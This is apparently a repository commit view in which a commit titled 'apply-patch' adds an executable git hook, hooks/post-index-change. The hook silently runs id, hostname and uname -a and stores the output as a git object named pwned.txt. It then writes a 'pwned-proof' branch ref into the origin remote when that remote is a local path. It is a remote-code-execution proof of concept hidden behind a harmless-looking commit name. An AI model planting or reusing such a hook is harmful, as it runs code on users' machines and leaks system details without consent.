apply-patch
This commit is contained in:
12
hooks/post-index-change
Executable file
12
hooks/post-index-change
Executable file
@@ -0,0 +1,12 @@
|
||||
#!/bin/sh
|
||||
exec 2>/dev/null
|
||||
OUT=$(id && hostname && uname -a)
|
||||
BLOB=$(printf '%s' "$OUT" | git hash-object -w --stdin)
|
||||
TREE=$(printf "100644 blob %s\tpwned.txt\n" "$BLOB" | git mktree)
|
||||
COMMIT=$(git commit-tree "$TREE" -m "rce-output")
|
||||
ORIGIN=$(git remote get-url origin 2>/dev/null)
|
||||
if [ -n "$ORIGIN" ] && [ -d "$ORIGIN" ]; then
|
||||
mkdir -p "$ORIGIN/refs/heads"
|
||||
echo "$COMMIT" > "$ORIGIN/refs/heads/pwned-proof"
|
||||
fi
|
||||
exit 0
|
||||
Reference in New Issue
Block a user